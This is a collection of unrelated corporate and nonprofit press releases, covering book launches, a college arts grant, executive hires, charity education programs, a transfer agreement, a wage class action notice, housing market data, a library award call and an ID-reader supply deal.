When asked what she wants readers to take away from the book, Sheridan answered, that love can be found in the least likely places. Victoria meets CJ when she is riding the fence line with Zoey. They are checking for down fences, and they end up helping him fix the fence between their properties. Also, family is special, and no matter what is going on, fences can be mended if you let them in and try. For more details about the book, please visit https://www.archwaypublishing.com/en/bookstore/bookdetails/846944-zoeys-christmas-wish

Zoey's Christmas Wish

By Samantha Sheridan

Hardcover | 5.5 x 8.5in | 228 pages | ISBN 9781665734707

Softcover | 5.5 x 8.5in | 228 pages | ISBN 9781665734714

E-Book | 228 pages | ISBN 9781665734691

Available at Amazon and Barnes & Noble

About the Author

Samantha Sheridan started her first book in the 90s and continues to write love stories that could cross over into Christian bookstores. She grew up on a farm surrounded by horses, which take center stage in The Silver Heart series of books. She resides in rural Ohio and continues to write books that pull readers into the characters lives.

Simon & Schuster, a company with nearly ninety years of publishing experience, has teamed up with Author Solutions, LLC, the worldwide leader in self-publishing, to create Archway Publishing. With unique resources to support books of all kind, Archway Publishing offers a specialized approach to help every author reach his or her desired audience. For more information, visit archwaypublishing.com or call 844-669-3957.
This grant will allow the Ceramic Arts program to provide this community experience to our students and members of the arts communities. We are exceptionally thankful for this opportunity provided by the NEA and FAC", states Chas Martinsen, Interim Director of the Ceramic Arts Program at Hood.

The Hood College Ceramic Arts Program has received a $10,000 Create and Activate Now grant from the National Endowment for the Arts (NEA) and Frederick Arts Council (FAC). Create and Activate Now grants support artists and arts organizations who have been impacted by the Coronavirus, aiming to strengthen cultural infrastructure nationwide.

Dollars received from the grant will be used exclusively to expand the Ceramic Arts Visiting Artist program at Hood. Hood plans to host two artists from around the country to conduct multi-day, High Impact Practice workshops that include:



Demonstrations of the artists skillsets and research interests

Artist lectures

Critiques for Hood graduate ceramic arts students

An on campus solo exhibition of visiting artists work

Hood also plans to hold multiple one-day workshop symposiums featuring artists from the Mid-Atlantic region. Artists will demonstrate their artistic practice and philosophies of art making, as well as take part in a group exhibition of their work on campus.

Additionally, Hood will host several artists via zoom to give virtual artist talks where students may ask the artists questions about their creative process and receive insights into the meaning behind their artwork.

The importance of an arts community is to share ideas, research and artwork produced and interact with artists from various geographical locations and intellectual perspectives, said Chaz Martinsen, Interim Director of the Ceramic Arts Graduate Program at Hood. This grant will allow the Ceramic Arts program to provide this community experience to our students and members of the arts communities. We are exceptionally thankful for this opportunity provided by the NEA and FAC.

About Hood College

Hood College is an independent, liberal arts college, offering more than 30 bachelors degrees, four pre-professional programs, 19 masters degree programs, two doctorates and 10 post-baccalaureate certificates. Located in historic Frederick, near Washington, D.C., Baltimore and the I-270 technology corridor, Hood gives students access to countless internships and research opportunities.
Gilbane Building Company announced today that Jeff Janicek joined the team as a senior project executive and healthcare market leader for the Chicago business unit. Janicek has 37 years of experience in the Midwest construction industry. He will leverage his unique and relevant expertise to drive project consistency and elevate Gilbanes focus on the healthcare, life sciences, and higher education markets.

In his role, Janicek will combine his construction expertise with best practices and lessons learned from various experiences to expand Gilbanes strong project portfolio. He is passionate about finding solutions to challenges on complex projects, promoting client advocacy, developing the next generation of construction leaders, and driving company strategies and initiatives.

We are thrilled to have Jeff Janicek join our leadership team in Chicago. He offers notable strengths in leading teams, planning strategy, managing relationships, and constructing complex projects, said Karrie Kratz, vice president and business leader for Gilbane Chicago. He brings an extensive track record of success on healthcare projects that will support our growth in this strategic market.

During his career, Janicek has developed and executed successful business plans that resulted in company creation and growth. He is an advocate and industry leader in implementing Lean construction practices. He believes this mindset will transform the industry to a higher level of value for both clients and contractors. Janicek has led numerous high-profile projects for healthcare clients, including Silver Cross Hospital, Advocate Aurora Health, Ann & Robert H. Lurie Childrens Hospital, Rush University Medical Center, and Northwestern Medicine.

"My past experiences have given me relevant insights and perspectives into the complexities of healthcare, life sciences, and higher education construction, said Janicek. Im eager to share and exchange those experiences with my team members at Gilbane and work together to build exceptional outcomes for our clients and project partners.

Janicek has a construction engineering degree from Bradley University and is a certified healthcare contractor.

About Gilbane Building Company

Gilbane provides a full slate of construction and facilities-related services  from preconstruction planning and integrated consulting capabilities to comprehensive construction management, general contracting, design-build, and facility management services  for clients across various markets. Founded in 1870 and still a privately held, family-owned company, Gilbane has more than 45 office locations worldwide. Since 1978, Gilbane has delivered innovative construction solutions in Chicago for clients across multiple market sectors, including healthcare, higher education, K-12, and public sector, corporate and interiors, developer, residential, life sciences, and industrial.
Salesian Missions, the U.S. development arm of the Salesians of Don Bosco, joins humanitarian organizations and countries around the globe in honoring International Day of Education celebrated Jan. 24 each year since 2018. The United Nations General Assembly proclaimed International Day of Education in celebration of the role of education for peace and development.

The United Nations Educational, Scientific and Cultural Organization (UNESCO) noted, today, 244 million children and youth are out of school, and 771 million adults are illiterate. There is a crisis in foundational learning, literacy and numeracy skills among young learners. 617 million children and adolescents cannot read and do basic math; less than 40 percent of girls in Sub-Saharan Africa complete lower secondary school and some 4 million children and youth refugees are out of school. Their right to education is being violated and it is unacceptable. Its time to transform education.

The 2023 theme for the day is To invest in people, prioritize education and calls for maintaining strong political mobilization around education. UNESCO noted, education must be prioritized to accelerate progress towards all the Sustainable Development Goals against the backdrop of a global recession, growing inequalities and the climate crisis.

Salesians provide primary and secondary schools and are considered the largest private provider of vocational and technical training in the world. Programs focus on helping vulnerable youth by providing access to educational opportunities that match the local employment needs. Around the globe, there are nearly 1,000 Salesian vocational, technical, professional and agricultural schools  with a focus on serving poor and needy youth.

In honor of International Day of Education, Salesian Missions is proud to highlight educational programs that benefit youth around the globe.

INDIA

Fifty young women who live at the Salesian Surakshita Home, located in the town of Ravulapalem in Andhra Pradesh, India, were supported through donor funding from Salesian Missions. Surakshita Home provides living facilities for young women who have been in legal trouble. There are dorms, bathrooms, a dining hall, a work room and a training hall.

When young women enter the program, they are given clothing and proper nutrition. They are sent for a medical examination, and women with special health needs receive individual follow-up care. They are also able to access a counselor and legal support for their cases in court.

During eight months, 50 women completed the tailoring course and some found jobs at tailoring shops. Others were able to do dress making and embroidery work for themselves and for others. Twenty of the women were given tailoring machines to earn an income and sustain themselves.

At the end of the training and their time at Surakshita Home, 13 women were able to reintegrate back with their families. The women also participated in vigil to support awareness about ending child marriage in the country. India reported the highest number of child marriages in the world, according to a UNICEF report on ending child marriages in India.

KENYA

Don Bosco Boys Town (Bosco Boys), located in Nairobi, Kenya, launched the Dual Apprenticeship Training program focused on the latest plumbing technology. This program will train 50 students in its initial class and is the first of its kind in Kenya. It is approved by the Ministry of Education, made possible through the Swiss contact, and funded by the Hilti Foundation in Switzerland.

There are 11 top plumbing companies in Kenya as partners. The project aims to provide apprentices with modern technology that bridges the gap between training institutions and job market needs. The training lasts for two years and is certified.

Don Bosco Boys Town provides education and technical skills training to former street children. The two-year technical training provides youth with a wide variety of skills to choose from, including tailoring, car engineering/mechanics, carpentry, electrical work, and welding, as well as secretarial skills and a full spectrum of computer-related job skills. After graduation, more than 80 percent of graduates are employed in their fields of study. Many students go on to attend university or establish their own businesses and become entrepreneurs in Nairobi.

MADAGASCAR

The Salesian-run Notre Dame de Clairvaux Center, located in Ivato, Madagascar, houses more than 100 youth ages 12-22. The Salesian facility is a home for orphaned, at-risk or street children. They are offered comprehensive support including medical care, food, clothing, shelter and education. Salesians want to offer them a chance at a better future.

Youth also have an opportunity to take technical and vocational training in subjects like automotive mechanics, welding, agriculture, animal husbandry, carpentry, and masonry. These subjects are available to enhance youths employable skills but also address the needs of the community. In addition to job skills training, the center has a job search office with a coordinator who helps youth who are graduating find and retain stable work.

Carlos is one young man who has benefited from the center. Born into a very poor family, he recently finished his welding apprenticeship. Carlos is intelligent and kind, but behind his infectious smile lies a traumatic past. He experienced extreme physical abuse by his father as punishment for ruining a meal. Carlos managed to escape and, after asking a local priest for help, was taken to the Salesian center. With school finished, Carlos now works in a machine shop and hopes and prays that one day his family situation will change.

ZAMBIA

City of Hope, run by the Salesian Sisters of Don Bosco in Lusaka, Zambia, received a donation of furniture from the Reuse Network, which matches surplus items with organizations and people who need them. The 2021 shipment was made possible thanks to the ongoing partnership Salesian Missions. The furniture will be used to outfit the current school and other outbuildings where educational opportunities are provided to the local community.

City of Hope was established to meet the needs of youth and their families living in the most severe poverty in Lusaka. The vast majority of children attending City of Hope programs are those who have been abused, live on the streets or are victims of child trafficking.

The City of Hopes Open Community School serves those suffering from malnutrition, lack of education and family deprivation. Basic education is offered to youth between the ages of 9-17. Primary school classes make up the first four years, after which students take the governments grade seven examinations. Most City of Hope students do not have the opportunity to attend other schools because of a lack of financial means.

###

About Salesian Missions USA

Salesian Missions is headquartered in New Rochelle, NY, and is part of the Don Bosco Networka worldwide federation of Salesian NGOs. The mission of the U.S.-based nonprofit Catholic organization is to raise funds for international programs that serve youth and families in poor communities around the globe. The Salesian missionaries are made up of priests, brothers and sisters, as well as laypeopleall dedicated to caring for poor children throughout the world in more than 130 countries and helping young people become self-sufficient by learning a trade that will help them gain employment. To date, more than 3 million youth have received services funded by Salesian Missions. These services and programs are provided to children regardless of race or religion. For more information, go to SalesianMissions.org.

Contact:

Laura Perillo

media@salesianmissions.org

914-960-4642 (text messages OK)

Twitter: @MissionNewswire

Newswire: MissionNewswire.org

Press room:SalesianMissions.org/press
This institutional articulation agreement is designed to help minimize credit loss and duplication of courseworksaving students time and moneyas they transition from completing an associate degree program at Kalamazoo Valley to completing a bachelors degree at Western.

Kalamazoo Valley Community College and Western Michigan University signed a new agreement today, paving the way for students to transfer more efficiently from Kalamazoo Valley to WMU. The signing ceremony with the presidents and provosts from each institution was held at Kalamazoo Valleys Texas Township Campus.

This institutional articulation agreement is designed to help minimize credit loss and duplication of courseworksaving students time and moneyas they transition from completing an associate degree program at Kalamazoo Valley to completing a bachelors degree at Western.

Today is a banner day for students and the region, said L. Marshall Washington, Ph.D., president of Kalamazoo Valley. This agreement serves to eliminate unintentional barriers created by our institutions in the past. Now students will more readily benefit from the educational opportunities provided by both institutions.

This institutional pact is a precursor to upcoming program-based transfer agreements between the two schools, including in such disciplines as biomedical sciences, engineering design and sustainable brewing.

No matter the program or major, our seamless partnership is making a significant impact on graduation rates, said Edward Montgomery, Ph.D., president of WMU. Our goal is to give students an efficient pathway to their education plan and help individuals in Kalamazoo, West Michigan and across the state reach their full potential. Todays signing agreement reiterates just that, and Western is honored to be partners on this rewarding journey.

Kalamazoo Valley graduate and current WMU student Whitney Lewis spoke at the signing event.

During my time at Kalamazoo Valley, I found that one of the most valuable aspects of my experience was the relationships I was able to form with my professors. They genuinely cared about me as a student and went out of their way to ensure that I succeeded, Lewis said. My experience at WMU has been incredible. The professors, advisors, faculty and staff have fostered a welcoming and encouraging environment, challenging me to new academic heights. I hope this continued partnership benefits many generations of Kalamazoo Valley and WMU alumni as much as it benefited me.

The institution articulation agreement is designed for students who meet Michigan Transfer Agreement requirements and follow a prescribed plan leading to an associate degree at Kalamazoo Valley.

Post-secondary degree completion is one measure of a successful community, said Paige Eagan, Ph.D., provost and vice president for instruction and student services at Kalamazoo Valley. "Increasing the number of graduates from our institutions benefits students, their families and the entire region."

Signing agreements are critical to the success of the University and are part of our missionto engage with our education partners and create more opportunities for successful careers and purposeful lives for our students, said Julian Vasquez Heilig, Ph.D., Westerns provost and vice president for academic affairs. We will continue to be intentional about creating clear pathways for our students transferring from KVCC, and we look forward to seeing our transfer numbers increase.

About Kalamazoo Valley Community College

Kalamazoo Valley Community College was established in 1966 by the overwhelming approval of voters in nine Kalamazoo County-area school districts. It is a comprehensive, fully accredited, public, two-year college with enrollment of about 10,000 student across four campus locations. Kalamazoo Valley offers 50 certificate programs and associate degrees in 60 areas of study and includes two student-run restaurants, a Center for New Media and the Kalamazoo Valley Museum. In addition to associate degree and certificate programs in business, health care, human and public services, technical and industrial occupations, the college also provides a quality experience for students preparing to transfer to four-year institutions following graduation.

About Western Michigan University

Western Michigan University prepares students from around the globe for a life well lived. In an environment focused on well-being and holistic success, students thrive academically, emotionally and physically and go on to pursue their purpose, prosper in meaningful careers and make an impact on society. Founded in 1903, Western offers some 250 academic programs to nearly 18,000 students pursuing degrees through the doctoral level. The University's focus on well-being supports holistic success, empowering students to craft a life of meaning and fulfillment. Nine of 10 Broncos get jobs quickly in their field in jobs they like.
Law Office of Blumenthal Nordrehaug Bhowmik De Blouw LLP

The Sacramento employment law attorneys, at Blumenthal Nordrehaug Bhowmik De Blouw LLP, filed a class action complaint alleging that Jill Acquisition LLC violated the California Labor Code. The Jill Acquisition LLC class action lawsuit, Case No. S-CV-0049697, is currently pending in the Placer County Superior Court of the State of California. A copy of the Complaint can be read here.

According to the class action complaint, the company's non-exempt employees were allegedly unable to take off-duty meal breaks due to their rigorous work schedules. California labor laws require an employer to provide an employee required to perform work for more than five (5) hours during a shift with, a thirty (30) minute uninterrupted meal break prior to the end of the employee's fifth (5th) hour of work and a second uninterrupted meal break when employees are required to work ten (10) hours. The Complaint claims that the company did not provide their employees who forfeited meal breaks additional compensation.

The Complaint further claims Jill Acquisition LLC failed to pay employees their accurate sick pay wages, which violates California Labor Code Section 246. Employees routinely earned non-discretionary incentive wages which increased their regular rate of pay. However, when paid sick pay wages, it was allegedly paid at the base rate of pay rather than the higher regular rate of pay.

For more information about the class action lawsuit against Jill Acquisition LLC, call (800) 568-8020 to speak to an experienced California employment attorney today.

Blumenthal Nordrehaug Bhowmik De Blouw LLP is an employment law firm with offices located in San Diego, San Francisco, Sacramento, Los Angeles, Riverside and Chicago that dedicates its practice to helping employees, investors and consumers fight back against unfair business practices, including violations of the California Labor Code and Fair Labor Standards Act. If you need help in collecting unpaid overtime wages, unpaid commissions, being wrongfully terminated from work, and other employment law claims, contact one of their attorneys today.

***THIS IS AN ATTORNEY ADVERTISEMENT***
Price discovery is happening quickly in the new home market and housing demand in many metros across the country is showing signs of either stabilizing or improving compared to the second half of last year. Ali Wolf, Chief Economist

Today, the experts at Zonda, the housing industrys foremost advisors, released the New Home Market Update report for December 2022.

Zondas New Home Pending Sales Index for December captured that sales were down 39.9% compared to the year prior but posted a 2.7% month-over-month increase. The increase corresponded with a 7.5% month-over-month reduction in quick move-in inventory as builders offered incentives and price cuts to help sell any standing or soon-to-be-available homes.

Mortgage rates, while roughly double from where they started last year, have averaged below 7% for 10 straight weeks and are currently sitting around 6%. Rates in the low 6%s allow for expensive but effective mortgage buydowns that help with both housing affordability and consumer confidence regarding the purchase.

The leveling off of financing costs combined with builders ripping the band-aid off regarding home prices and normal seasonality has allowed for green shoots in the housing market to start 2023, said Ali Wolf, Zondas Chief Economist. Price discovery is happening quickly in the new home market and housing demand in many metros across the country is showing signs of either stabilizing or improving compared to the second half of last year.

While the green shoots are encouraging, the team at Zonda is still closely monitoring the risks related to changes in policy, the direction of the economy, housing affordability, and shifts in consumer confidence.

Sales activity was low to finish the year

Zonda's new home sales metric counts the number of new home contract sales each month and accounts for both cancellations and seasonality. This metric shows there were 424,535 new homes sold in December on a seasonally adjusted annualized rate. This was a decline of 19.6% from last month and a drop of 44.0% from a year ago. On a non-seasonally adjusted basis, 30,633 homes were sold, 47.0% lower than last year and 36.6% below the same month in 2019. Note: this data is subject to revisions and will likely be revised higher next month.

Some markets appear to have stabilized

Total volume is down due to both supply and demand. Zonda's New Home Pending Sales Index (PSI) was created to help account for fluctuations in supply by combining both total sales volume with the average sales rate per month per community. The December PSI came in at 95.3, representing a 39.9% decline from the same month last year. The index is currently 45.3% below cycle highs. On a month-over-month basis, seasonally adjusted new home sales increased 2.7%.



 The PSI failed to grow in any of select markets in December, but Baltimore was again the strongest performer.

 The metros that performed the worst year-over-year were Denver (-68.2%), Phoenix (-67.5%), and San Francisco (-63.8%).

 On a monthly basis, Denver, Phoenix, and Salt Lake City were the best performing markets. All three of these markets were among those that slowed the most dramatically and the most quickly in 2022. Traffic and sales are picking up from recent lows.

Home price growth has slowed

National home prices increased year-over-year across entry-level, move-up, and high-end homes. Prices rose 9.6% for entry-level to $337,282, 8.9% for move-up to $526,445, and 7.7% for high-end homes to $902,905.

Supplementing our data with a monthly survey Zonda conducts, there were roughly 43% of homebuilders across the country that reported lowering prices month-over-month in December.

The large increase in New York is reflective of mix shift as some communities have sold out and some have opened compared to last year.

Incentives are increasingly common in todays housing market given the slower sales. 57.2% of active projects are offering to-be-built incentives, up from last month. The average incentive dollar amount is $13,336 or 3.9% of the list price.

Community count yet to turn a corner

There are currently 13,463 actively selling communities tracked by Zonda, down 7.2% from last year. On a month-over-month basis, the national figure slipped 2.1%. Total community count is 29.6% below the same month in 2019. Zonda defines a community as anywhere where 5 or more units are for sale.

 Phoenix (+10.4%), San Antonio (+9.4%), and Las Vegas (+9.2%) grew community count the most year-over-year.

 Community count fell the most in New York (-22.4%), Baltimore (-21.6%), and Atlanta (-20.8%) relative to last year.

 8% of our select markets rose month-over-month while 92% fell.

National quick move-ins (QMIs) totaled 31,509, up 173.0% compared to last year but 7.5% lower month-over-month. The month-over-month drop in QMIs is reflective of builders offering price cuts and incentives to help move the inventory. Total QMIs are 47.9% above 2019 levels. QMIs are homes that can likely be occupied within 90 days.

 On a metro basis, all of Zonda's select markets increased QMI count year-over-year.

 The markets posting the biggest gains year-over-year were Tampa, Phoenix, and Cincinnati.

 Jacksonville, Phoenix, and Las Vegas have seen the most growth in QMIs compared to the same time in 2019, up 196.7%, 184.1%, and 167.1%, respectively.

Methodology

The Zonda New Home Pending Sales Index (PSI) is built on proprietary, industry-leading data that covers 65% of the production new home market across the United States. Reported number of new home pending contracts are gathered and analyzed each month. Released on the 15th business day of each month, the New Home PSI is a leading indicator of housing demand compared to closings because it is based on the number of signed contracts at a new home community. Zonda monitors 18,000 active communities in the country and the homes tracked can be in any stage of construction.

The new home market represents roughly 10% of all transactions, allowing little movements in supply to cause outsized swings in market activity. As a result, the New Home PSI blends the cumulative sales of activity recently sold out projects with the average sales rate per community, which adjusts for fluctuations in supply. Furthermore, the New Home PSI is seasonally adjusted based on each markets specific seasonality, removes outliers, and uses June 2016 as the base month. The foundation of the index is a monthly survey conducted by Zonda. It is necessary to monitor both new and existing home sales to establish an accurate picture of the relative health of the residential real estate market.

Visit ZondaHome.com or follow us on LinkedIn and Facebook for more information.

About Zonda

Zonda provides data-driven housing market solutions to the homebuilding industry. From builders to building product manufacturers, mortgage clients, and multifamily executives, we work hand-in-hand with our customers to streamline access to housing data to empower smarter decisions. As a leading brand in residential construction, our mission is to advance the home building industry, because we believe better homes mean better lives and stronger communities. Together, we are building the future of housing.
Jeffrey W. Gluck, Ph.D.

The Philadelphia intellectual property law firm of Panitch Schwarze Belisario & Nadel LLP, is pleased to announce that partner Jeffrey W. Gluck, Ph.D. has been named among IAMs Strategy 300 Global Leaders for 2023, which honors the worlds leading intellectual property strategists.

IAM Strategy 300 Global Leaders identifies individuals who are leading the way in developing and implementing strategies that maximize the value of IP portfolios. The guide features interviews with these leaders in which they discuss their careers in intellectual property, the lessons they learned along the way, and the current state of the market.

With careers as an engineering researcher and as an intellectual property attorney, Gluck brings both perspectives to the table when serving clients. His legal practice spans a broad range of areas, including patent application and prosecution, IP counseling, providing legal opinions, serving on litigation teams, and appellate litigation.

He is a frequent author and speaker on matters relating to patent law and software IP law. His engineering experience includes roles in industry, academia, and government, and he has authored numerous technical papers. With a technical background in the electrical and computer areas, Gluck specializes in sophisticated electrical and computer-related technologies, including telecommunication systems, signal processing, control systems, solar energy technology, semiconductor devices, and high-performance computing. His practice also includes technologies such as vehicle steering and braking systems and other mechanical systems, gaming systems, and financial technology.

Gluck earned his law degree from Georgetown University Law Center, his Ph.D. in electrical engineering from University of Maryland, his masters degree in electrical and computer engineering from University of Massachusetts, and his bachelors degree in electrical engineering and computer science from Princeton University.

IAM serves as the trusted source of worldwide news, analysis and data on the management of intellectual property as a key business asset. It keeps in-house counsel up to speed with the global issues and strategies that matter, giving them the detail and depth they need to operate successfully.

Read Glucks interview in IAM Strategy 300 Global Leaders 2023.

About Panitch Schwarze Belisario & Nadel LLP  Panitch Schwarze Belisario & Nadel LLP is a boutique intellectual property law firm with offices in Philadelphia and Wilmington, Delaware. The firms IP law practitioners provide strategic litigation, licensing and counseling service relating to patents, trademarks, copyrights and trade secrets, domain names and internet issues domestically and internationally. The firms long-standing relationships with a network of associates worldwide enable its attorneys and advisors to provide clients with global intellectual property advice and protection.
His Truth Be Told Tales: Book 2: Mission Minded: a fun and thoughtful fiction with equal parts heart and adventure. His Truth Be Told Tales: Book 2: Mission Minded is the creation of published author Roberta Ann Lowenthal, a dedicated wife since 1963, a proud mother of two and grandmother of four, and a native of New York.

Lowenthal shares, Its 1961 and the adventures continue in the idyllic town of Peaceful Valley. The world beyond its rolling green hills is beginning to feel a strange uneasiness. It isnt a soft summer breeze. Its an ill wind blowing in from a mysterious otherworldly place. Surely this quietly beautiful family community will be spared. Or will it?

MISSION MINDED is the second book of HIS TRUTH BE TOLD TALES. Here come Alan, Annie, and Teddy, our three courageous adventurers, back again in Gods battle against evil. Now in their teens, they have been preparing for ministry and ready to go out to help and encourage others in Peaceful Valley. As usual, our three heroes encounter challenges, mysteries, and puzzling secrets.



Will the town be taken over by some notorious evildoers, more commonly known as really bad guys?

Is there a vile plan afoot to turn the townsfolk away from God?

Will the teenagers faithful spiritual friend, Uncle Truth, come up with a plan for rescue, just in time?

As you read this suspenseful, circus-themed tale, you will be amazed at how God works through these differently abled teenagers who help make things new again in Peaceful Valley.

Published by Christian Faith Publishing, Roberta Ann Lowenthals new book will delight and entertain while imparting an unexpected message of hope.

Lowenthal paints a vivid scene that brings a cast of affable characters to life in a captivating adventure when a mysterious circus arrives at the gates of a family-oriented community.

Consumers can purchase His Truth Be Told Tales: Book 2: Mission Minded at traditional brick & mortar bookstores, or online at Amazon.com, Apple iTunes store, or Barnes and Noble.

For additional information or inquiries about her first book His Truth Be Told Tales: Book 1: Seeking Truth. And her newest book His Truth Be Told Tales: Book 2: Mission Minded, contact the Christian Faith Publishing media department at 866-554-0919.
The John Cotton Dana Award is one of the most prestigious awards given to up to eight libraries.

The American Library Association (ALA) is now accepting submissions for the 2023 John Cotton Dana Award (JCD). The John Cotton Dana Award is one of the most prestigious awards given to up to eight libraries. The $10,000 awards will be provided by the H.W. Wilson Foundation and honors outstanding library public relations.

Libraries of all types and sizes are encouraged to submit entries for a John Cotton Dana Award. Entries may be submitted by any library, Friends group, consulting agency or service provider, unless they are represented on the JCD committee.

Entries should highlight a strategic communications campaign from the past year. Examples of past campaigns have included rebranding efforts, promotion of archives and special collections, awareness campaigns, community partnerships and special events. Entries highlighting innovation in marketing and new technologies while sharing what it is you set out to achieve combine all the successful components of winning campaigns.

Submission documentation is expected to show the scope and effectiveness of the campaign. Entries for the John Cotton Dana Award are organized around needs assessment, planning, implementation and evaluation. Examples of these documents may include initial assessments and research, processes for implementation, goals met, creative output, media releases, media coverage and other metrics that establish results. Up to eight winners will be selected with at least one chosen winner from the following annual library operating budget categories:



Under $1 Million

$1M - $5M

$5M - $10M

$10M - $15M

Greater than $15M

The awards are managed by Core: Leadership, Infrastructure, Futures (Core), a division of ALA. All John Cotton Dana Award judges are associated with the Core division.

Applications for the JCD Award should be submitted electronically and received by March 17, 2023. For more information, including entry documents, visit the JCD Awards website. The 2023 John Cotton Dana Award winners will be announced in June 2023 by ALA and EBSCO Information Services.

About the John Cotton Dana Award

The John Cotton Dana Award was inaugurated by The H.W. Wilson Company at the 1946 annual conference of the American Library Association. It was named after John Cotton Dana (1856-1929), a librarian called the father of the modern library. The Awards are funded by the H.W. Wilson Foundation.

About the H.W. Wilson Foundation

The Foundation was established by Halsey W. Wilson in 1952 to support the needs of company employees and retirees. Since 1957, The H.W. Wilson Foundation has focused on providing financial assistance to causes having the greatest impact on improving the spirit, mind and body of the greatest number of people through aid, support and cooperation with charitable, benevolent, educational and religious institutions. Major donors to the Foundation included Mr. and Mrs. H.W. Wilson, and the H.W. Wilson Company.

About Core: Leadership, Infrastructure Futures

Core: Leadership, Infrastructure, Futures is the national association that advances the profession of librarians and information providers in central roles of leadership and management, collections and technical services, and technology. Our mission is to cultivate and amplify the collective expertise of library workers in core functions through community building, advocacy, and learning. Follow us on our Blog, Twitter or Instagram.

About EBSCO Information Services

EBSCO Information Services (EBSCO) is the preeminent provider of online research content and search technologies serving academic, school and public libraries; healthcare and medical institutions; corporations; and government agencies around the world. From research, acquisition management, subscription services and discovery to clinical decision support and patient care, learning, and research and development, EBSCO provides institutions with access to content and resources to serve the information and workflow needs of their users and organizations. For more information, visit the EBSCO website at: http://www.ebsco.com.

###

For more information, please contact:

Celia Zampitella

Sr. Communications Specialist

czampitella@ebsco.com

978-414-0347
Yang "Young" Wang, Ph.D. We are excited to welcome Young to the firm, said Panitch Schwarze partner Martin Belisario. His experience in technology and the life sciences will be a major asset to our clients. We look forward to working with him to protect our clients intellectual property.

Intellectual property law firm Panitch Schwarze Belisario & Nadel LLP is pleased to announce that Yang "Young" Wang, Ph.D. has joined the firm as an associate. An experienced technology transfer attorney with a life sciences background, Wang will focus his practice on patent procurement, IP litigation and enforcement, counseling, and licensing and monetization.

We are excited to welcome Young to the firm, said Panitch Schwarze partner Martin Belisario. His experience in technology and the life sciences will be a major asset to our clients. We look forward to working with him to protect our clients intellectual property.

Wang comes to the firm with experience in a variety of IP legal matters. As an associate at Cooley LLP, he drafted and negotiated intellectual property and technology licenses as well as commercial agreements for public and private life sciences enterprises. He also performed IP due diligence for corporate transactions and technology transfers. While serving as an associate at Prowse Chowne LLP in Canada, he negotiated and drafted agreements for clients in the technology industry including intellectual property licensing, technology transfer, and other strategic alliance agreements.

I am pleased to join Panitch Schwarzes team of intellectual property attorneys, said Wang. Intellectual property is a fundamental component of the success of todays leading industries, and I look forward to utilizing my expertise to guide clients IP strategy toward continual growth.

Wang has been admitted as an attorney in the state of New York and the province of Alberta, Canada. He received his J.D. and a Ph.D. in cell biology from the University of Alberta. He also earned a masters degree in cell and genetic engineering and a bachelors degree in bioscience with distinction from Lanzhou University, in Lanzhou, China.

About Panitch Schwarze Belisario & Nadel LLP  Panitch Schwarze Belisario & Nadel LLP is a boutique intellectual property law firm with offices in Philadelphia and Wilmington, Delaware. The firms IP law practitioners provide strategic litigation, licensing and counseling service relating to patents, trademarks, copyrights and trade secrets, domain names and internet issues domestically and internationally. The firms long-standing relationships with a network of associates worldwide enable its attorneys and advisors to provide clients with global intellectual property advice and protection.
Its a great way to salute the men and women protecting us.

The Front Line Foundation (TFLF) announced, today that it has been once again selected to participate in the Minnesota Wilds annual Hometown Heroes Series game on Tuesday, February 21, when the Wild host the Los Angeles Kings.

The Wilds Hometown Heroes Series helps bring attention and recognition to Minnesotas 60,000 front line workers and first responders. This is the third time TFLF has participated in an event saluting everyday heroes.

We are humbled each time the Wild ask us to be a part of this special game to honor Minnesotas front line workers, said Suzanne Holt, President and CEO of TFLF. The Wild organization does a great job of reaching out to the community and getting behind causes that make this place a great place to live and work.

The Wilds Hometown Heroes Front Line Workers Ticket Pack includes an exclusive, Wild-branded Hometown Heroes t-shirt, a pregame on-ice photo, and a pregame gathering. A portion of each ticket pack purchased will go to benefit the Front Line Foundation.

Since its inception in late 2018, The Front Line Foundation has supported Law Enforcement Officers, Firefighters, EMTs and members of the National Guard across Minnesota, to grant financial support to families of first responders who have died in the line of duty. The Foundations mission is to bridge the gap between the death and benefits being paid, which can help families with ongoing expenses. The Foundation also provides support in the purchase of tactical equipment for first responders which is not included in department budgets.

We are very happy to partner again with The Front Line Foundation to raise awareness to all of the good things they do to support our local first responders, said Brandon Grengs, Group Sales Manager of the Minnesota Wild. In the past, these games have been a great way to salute the men and women who protect us on a daily basis.

To date The Frontline Foundation has paid out $328,000 in death benefits and equipment funding since it was founded in 2018.

We are thrilled to be making this an annual tradition, said Holt. With the exposure an event like this provides, we are hopeful more people will learn about the great goals we have to support our frontline workers.

About The Front Line Foundation:

The Front Line Foundation began as an attempt to help and support our Fallen Heroes, including Law Enforcement Officers, Firefighters, EMTs, and the Minnesota National Guard. The Frontline Foundation provides support to those who died while in the line of duty, by giving benefit payments to dependents of fallen first responders. Law Enforcement Officers, Firefighters, and EMT First Responders face armed and dangerous criminals, impaired individuals wielding weapons, even emotionally charged, and threatening domestic disputes. They are The Front Line Defenders of our neighborhoods, towns, and cities who face and diffuse the high-risk, frequently appalling situations we know or hear about, with disbelief, on the news. In addition to providing endowments and support for the families of fallen heroes, The Front Line Foundation will underwrite scholarships and training registration costs for Front Line personnel as well as support preparedness training for safety officers in hospitals, schools, and places of worship. Further, we assist with the purchase of needed safety and tactical equipment not currently within the budget of the local unit of government. For more information, please visit http://www.thefrontlinemn.org

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Elyctis and Vitkovice Alexandre Joly, CEO of Elyctis, adds: "We are proud to have been selected by VITKOVICE for their needs for ID readers. We are ready to deliver our whole range of readers to them as we are confident, they will be successful in numerous new projects in the Czech Republic and in Europe more globally."

VITKOVICE IT SOLUTIONS a.s. has built a long experience in the development of IT projects for the Czech government and agencies as well as for private entities. In 2022, they selected and delivered Elyctis ePassport readers to the border police of the Czech Republic, which needed an ID reader able to process safely and efficiently the inflow of people at Czech Republic borders especially including Ukrainian refugees. The need for border police was to have a solution that allowed them to read passports and check the chips and biometrics with a single movement. In addition, given the context, the customer need was urgent, and thanks to an efficient supply policy in the context of the ongoing component shortage crisis, Elyctis was able to fulfil VITKOVICE's need in due time. VITKOVICE has been able to integrate hundreds of Elyctis ID BOX One Desktop series and deliver them to Czech authorities. This performance has been achieved thanks to VITKOVICE's longstanding experience in government projects associated with the ease of development provided by Elyctis SDK along with the support provided by the vendor.

